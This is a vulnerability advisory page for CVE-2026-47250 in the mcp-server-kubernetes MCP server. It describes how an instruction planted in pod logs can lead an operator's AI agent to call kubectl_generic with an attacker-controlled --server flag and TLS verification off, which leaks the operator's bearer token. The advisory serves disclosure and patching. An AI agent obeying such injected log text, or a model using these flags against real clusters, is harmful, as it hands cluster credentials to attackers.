Skip to main content
VulnerabilityPublished Updated

CVE-2026-47250: mcp-server-kubernetes · kubectl-generic flag injection enables Kubernetes bearer token exfiltration

Affects mcp-server-kubernetesSource GCVE Database

0
Compare
Authoritative record:CVE-2026-47250· Medium 6.1

Not known to be exploited · CVSS 6.1 Medium : upgrade to 3.7.0 when convenient.

Data as of 30 Oct 2026, 07:30 UTC

CVSS 3.1 base score
6.1Medium
How severe the flaw is on the 0–10 CVSS scale.
Patch
Available – fixed in 3.7.0
CVSS:3.1/AV:N/AC:H/PR:N/UI:R/S:C/C:H/I:N/A:N

Exploitation evidence

  1. Disclosed: evidence found.

    CVE published 11 Jun 2026

  2. Detectable: no evidence on record.

    No public nuclei template indexed

  3. Weaponized: no evidence on record.

    No public exploit code indexed in Metasploit or Exploit-DB

  4. Exploited in the wild: no evidence on record.

    Not in CISA KEV and no source reports exploitation

  5. Observed by OffSeq Mirage: no evidence on record.

    No attack traffic recorded by OffSeq Mirage sensors

A missing step is not evidence of safety. Sources: cve.org (opens in a new tab), the Metasploit, Exploit-DB and nuclei-templates index as of 29 Oct 2026.

What to do

Upgrade mcp-server-kubernetes to 3.7.0.

Affected software

ProductAffectedFixed in
Homebrewmcp-server-kubernetespkg:brew/mcp-server-kubernetesOther threatsAffected
  • >=2.9.1 <3.7.0
Fixed in
  • 3.7.0

Check your own hosts for these packages with threat-finder (opens in a new tab), our free open-source scanner.

Description

mcp-server-kubernetes is a Model Context Protocol server for Kubernetes cluster management. Prior to version 3.7.0, the kubectl_generic tool in mcp-server-kubernetes passes user-supplied flags directly to kubectl without any allowlist, enabling a privilege escalation attack within Kubernetes environments. An attacker who already has limited cluster or codebase access, for example, a developer with pod-deployment permissions but not cluster-admin credentials, can plant a single structured JSON line in an application's log output. When an operator with a privileged kubeconfig uses the MCP server to read those logs and their AI agent follows the injected instruction, kubectl_generic is called with --server=https://attacker.example.com and --insecure-skip-tls-verify=true. kubectl sends all API requests, including the Authorization: Bearer <token> header from the operator's kubeconfig to the attacker's endpoint. The captured token can then be replayed directly against the real Kubernetes API server, granting the attacker the full RBAC permissions of the operator's service account. This issue has been patched in version 3.7.0.

References

Community reviews

Loading reviews…